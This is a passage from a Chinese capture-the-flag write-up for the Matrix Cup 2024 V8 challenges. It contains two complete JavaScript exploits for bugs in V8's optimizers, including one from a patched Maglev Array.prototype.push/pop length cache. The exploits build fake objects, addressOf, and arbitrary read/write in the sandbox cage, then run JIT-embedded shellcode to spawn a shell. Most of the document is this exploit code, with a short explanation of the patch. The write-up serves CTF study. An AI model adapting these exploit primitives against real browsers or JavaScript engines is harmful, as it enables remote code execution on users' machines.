%PrepareFunctionForOptimization(trigger);trigger(_ => _);trigger(_ => _);%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {  object4.c = 1.1;  for (let key in object1) { }});
// %SystemBreak();

有了poc后写利用就比较简单,这里的漏洞效果为任意地址对象伪造,符合我之前总结的利用模板

https://bbs.kanxue.com/thread-281180.htm

所以直接套模板即可构造沙箱内的任意地址读写,最后利用立即数shellcode获取shell

var buf = new ArrayBuffer(8);var dv  = new DataView(buf);var u8  = new Uint8Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var roots = new Array(0x30000);var index = 0;
function pair_u32_to_f64(l, h) {        u32[0] = l;        u32[1] = h;        return f64[0];}
function u64_to_f64(val) {        u64[0] = val;        return f64[0];}

function f64_to_u64(val) {        f64[0] = val;        return u64[0];}
function set_u64(val) {        u64[0] = val;}
function set_l(l) {        u32[0] = l;}
function set_h(h) {        u32[1] = h;}
function get_l() {        return u32[0];}
function get_h() {        return u32[1];}
function get_u64() {        return u64[0];}
function get_f64() {        return f64[0];}
function get_fl(val) {        f64[0] = val;        return u32[0];}
function get_fh(val) {        f64[0] = val;        return u32[1];}
function add_ref(obj) {        roots[index++] = obj;}
function major_gc() {        new ArrayBuffer(0x7fe00000);}
function minor_gc() {        for (let i = 0; i < 8; i++) {                add_ref(new ArrayBuffer(0x200000));        }        add_ref(new ArrayBuffer(8));}
function hexx(str, val) {        console.log(str+": 0x"+val.toString(16));}
function sleep(ms) {        return new Promise((resolve) => setTimeout(resolve, ms));}
function shellcode() {        return [                1.9553825422107533e-246,                1.9560612558242147e-246,                1.9995714719542577e-246,                1.9533767332674093e-246,                2.6348604765229606e-284        ];}
for (let i = 0; i < 0x10000; i++) {  shellcode();  shellcode();  shellcode();  shellcode();}
var spray_array = Array(0xf700);var data_start_addr = 0x00502139+7;var map_addr = data_start_addr + 0x1000;var fake_object_addr = map_addr + 0x1000;//0x2f040404001c3d21      0x0a0007ff11000842spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2f040404001c3d21n);//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6f5);spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);
var leak_object_array = new Array(0xf700).fill({});var leak_object_element_addr = 0x00582139;
//console.log("go")//%DebugPrint(spray_array);//%DebugPrint(leak_object_array);//readline();
const object1 = {};object1.a = 1;
const object2 = {};object2.a = 2;object2.b = 2;
//const N = pair_u32_to_f64(0x42424242, 0x42424242);const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);var fake_object_array = [        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,];
const object3 = {};object3.a = 3;object3.b = 3;object3.c = 3;object3.d = 3;
const object4 = {};object4.a = 4;object4.b = 4;object4.c = 4;object4.e = 4;
let fake_array;for (let key in object2) {}function trigger(callback) {        for (let key in object2) {                callback();                fake_array = object2[key];        }}
//%PrepareFunctionForOptimization(trigger);trigger(_ => _);trigger(_ => _);//%OptimizeFunctionOnNextCall(trigger);trigger(_ => _);for (let i = 0; i < 0x10000; i++) {        trigger(_ => _);        trigger(_ => _);        trigger(_ => _);}//%DebugPrint(object4);//readline();trigger(_ => {//      print("callback");        object4.c = 1.1;        for (let key in object1) { }//      %DebugPrint(object2);//      readline();});
//print(fake_array === %TheHole());//%DebugPrint(fake_array);
function addressOf(obj) {        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);        leak_object_array[0] = obj;        f64[0] = fake_array[0];        return u32[0];}
var test = [1.1];hexx("test address", addressOf(test));//%DebugPrint(test);

function arb_read_cage(addr) {        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);        return f64_to_u64(fake_array[0]);}
function arb_write_half_cage(addr, val) {        let orig_val = arb_read_cage(addr);        fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);}
function arb_write_full_cage(addr, val) {        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);        fake_array[0] = u64_to_f64(val);}
var shellcode_addr = addressOf(shellcode);hexx("shellcode_addr", shellcode_addr);var code = arb_read_cage(shellcode_addr+0x8+0x4);hexx("code", code);var c = u32[0]+0x10+4;var rwx_addr = arb_read_cage(c);hexx("rwx_addr", rwx_addr);arb_write_full_cage(c, rwx_addr+0x57n);//%DebugPrint(shellcode);shellcode();

optimizer

关键点:

@@ -7085,7 +7093,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(     sub_graph.Bind(&*do_return);   }   RecordKnownProperty(receiver, broker()->length_string(), new_array_length_smi,-                      false, compiler::AccessMode::kStore);+                      false, compiler::AccessMode::kLoad);   return new_array_length_smi; } @@ -7258,7 +7266,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePop(   sub_graph.Bind(&*do_return);   RecordKnownProperty(receiver, broker()->length_string(),                       sub_graph.get(var_new_array_length), false,-                      compiler::AccessMode::kStore);+                      compiler::AccessMode::kLoad);   return sub_graph.get(var_value); }

跟踪源码可以发现当以kStroe模式访问"length"属性时,该对象缓存的的"length"将被clear:

inline bool IsAnyStore(AccessMode mode) {  return mode == AccessMode::kStore || mode == AccessMode::kStoreInLiteral ||         mode == AccessMode::kDefine;}
void MaglevGraphBuilder::RecordKnownProperty(    ValueNode* lookup_start_object, KnownNodeAspects::LoadedPropertyMapKey key,    ValueNode* value, bool is_const, compiler::AccessMode access_mode) {......  // Try to get loaded_properties[key] if it already exists, otherwise  // construct loaded_properties[key] = ZoneMap{zone()}.  auto& props_for_key =      loaded_properties.try_emplace(key, zone()).first->second;
  if (!is_const && IsAnyStore(access_mode)) { <============================================CHECK    // We don't do any aliasing analysis, so stores clobber all other cached    // loads of a property with that key. We only need to do this for    // non-constant properties, since constant properties are known not to    // change and therefore can't be clobbered.    // TODO(leszeks): Do some light aliasing analysis here, e.g. checking    // whether there's an intersection of known maps.    if (v8_flags.trace_maglev_graph_building) {      std::cout << "  * Removing all non-constant cached ";      switch (key.type()) {        case KnownNodeAspects::LoadedPropertyMapKey::kName:          std::cout << "properties with name " << *key.name().object();          break;        case KnownNodeAspects::LoadedPropertyMapKey::kElements:          std::cout << "Elements";          break;        case KnownNodeAspects::LoadedPropertyMapKey::kTypedArrayLength:          std::cout << "TypedArray length"; <============================================LENGTH          break;      }      std::cout << std::endl;    }    props_for_key.clear(); <===========================================================CLEAR  }......    std::cout << "] = " << PrintNodeLabel(graph_labeller(), value) << ": "              << PrintNode(graph_labeller(), value) << std::endl;  }
  props_for_key[lookup_start_object] = value;}

而patch中将kStore替换成 了kLoad,则导致缓存中的值不会失效,其值会在每次push时增长,这对于对象的引用为1是不存在问题的。但是如果有多个参数指向同一个对象(也就是上述代码注释中的alias),则会导致"length"增长不同步。比如变量A、B引用同一个对象object,对于push操作,此时"cached length"的更新只考虑A.push,但是并不考虑B.push,此时数组的长度以两倍的速度增长,但是编译器却认为其只以一倍的速度增长,所以此时的element数组的大小会比实际的数组长度小从而导致越界读写

有了越界读写了,就可以直接构造沙箱内的任意地址读写了,然后还是利用立即数shellcode获取shell,这里x.push/y.push的次数可以自行多次尝试去寻找一个合适的次数:

var buf = new ArrayBuffer(8);var dv  = new DataView(buf);var u8  = new Uint8Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var roots = new Array(0x30000);var index = 0;
function pair_u32_to_f64(l, h) {        u32[0] = l;        u32[1] = h;        return f64[0];}
function u64_to_f64(val) {        u64[0] = val;        return f64[0];}

function f64_to_u64(val) {        f64[0] = val;        return u64[0];}
function set_u64(val) {        u64[0] = val;}
function set_l(l) {        u32[0] = l;}
function set_h(h) {        u32[1] = h;}
function get_l() {        return u32[0];}
function get_h() {        return u32[1];}
function get_u64() {        return u64[0];}
function get_f64() {        return f64[0];}
function get_fl(val) {        f64[0] = val;        return u32[0];}
function get_fh(val) {        f64[0] = val;        return u32[1];}
function add_ref(obj) {        roots[index++] = obj;}
function major_gc() {        new ArrayBuffer(0x7fe00000);}
function minor_gc() {        for (let i = 0; i < 8; i++) {                add_ref(new ArrayBuffer(0x200000));        }        add_ref(new ArrayBuffer(8));}
function hexx(str, val) {        console.log(str+": 0x"+val.toString(16));}
function sleep(ms) {        return new Promise((resolve) => setTimeout(resolve, ms));}
function de() {  while (true) {}}
function shellcode() {        return [                1.9553825422107533e-246,                1.9560612558242147e-246,                1.9995714719542577e-246,                1.9533767332674093e-246,                2.6348604765229606e-284        ];}

for (let i = 0; i < 0x5000; i++) {  shellcode(); shellcode();  shellcode(); shellcode();  shellcode(); shellcode();  shellcode(); shellcode();}
function func(x, y) {  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);}
var spray_array = new Array(0xf700).fill({});var spray_array2 = new Array(0xf700).fill({});var spray_array3 = new Array(0xf700).fill({});var spray_array4 = new Array(0xf700).fill({});var element_start_addr = 0x00580011;var data_element_start_addr = element_start_addr + 7;var fake_object_addr = data_element_start_addr + 0x1000;var save_fake_object_addr = fake_object_addr + 0x200;minor_gc();major_gc();major_gc();
var a = null;for (let i = 0; i < 0x1000; i++) {  a = [1.1, 2.2];//  %PrepareFunctionForOptimization(func);  func(a, a);//  %OptimizeMaglevOnNextCall(func);}
var victim_array = new Array(2).fill(1.1);var addressOf_arr = [0x290098a, victim_array];var rw_arr = [1.8457939563e-314, 1.8457939563e-314, 1.1, 2.2];
//for (let i = 0; i < a.length; i++) {//  hexx("[====== dump ======]", f64_to_u64(a[i]));  //}
var len_and_element = f64_to_u64(a[a.length-1]);hexx("len_and_element", len_and_element);a[a.length-1] = pair_u32_to_f64(u32[0], 0x1ee00);//%DebugPrint(a);//%DebugPrint(victim_array);var addressOf_offset = -1;for (let i = 0; i < 0x100; i++) {  f64_to_u64(victim_array[i]);  if (u32[0] == 0x5201314 && u32[1] != 0) {    addressOf_offset = i;  //  hexx("address", u64[0]);    break;  }}
var rw_offset = 15;/*var flag = 0;var check = 0xdeadbeefn;for (let i = 0; i < 0x100; i++) {  f64_to_u64(victim_array[i]);  hexx("[====== dump ======]", u64[0]);    if (u64[0] == check) {    f64_to_u64(victim_array[i+1]);    hexx("[====== dump ======]", u64[0]);      if (u64[0] == check) {      rw_offset = i-2;      if (flag == 1) {        break;      }      flag = 1;    }  }}*///print(u64_to_f64(0xdeadbeefn));
//%DebugPrint(victim_array);//%DebugPrint(rw_arr);hexx("rw_offset", rw_offset);hexx("addressOf_offset", addressOf_offset);hexx("check", f64_to_u64(victim_array[rw_offset]));print(victim_array[rw_offset+1]);
function addressOf(obj) {  addressOf_arr[1] = obj;  f64_to_u64(victim_array[addressOf_offset]);  return u32[1];}
function read_cage(addr) {  victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;  return f64_to_u64(rw_arr[0]);}
function write_cage(addr, val) {  victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;  rw_arr[0] = u64_to_f64(val);  }
//hexx("victim_array", f64_to_u64(victim_array[addressOf_offset]));hexx("victim_array", addressOf(victim_array));
var shellcode_addr = addressOf(shellcode);hexx("shellcode_addr", shellcode_addr);var code = read_cage(shellcode_addr+0x8+0x4);hexx("code", code);var c = u32[0]+0x10+4;var rwx_addr = read_cage(c);hexx("rwx_addr", rwx_addr);write_cage(c, rwx_addr+0x53n);//%DebugPrint(shellcode);shellcode();

原文始发于微信公众号(星盟安全):矩阵杯 2024 Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月7日07:40:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   矩阵杯 2024 Writeuphttps://cn-sec.com/archives/2818200.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息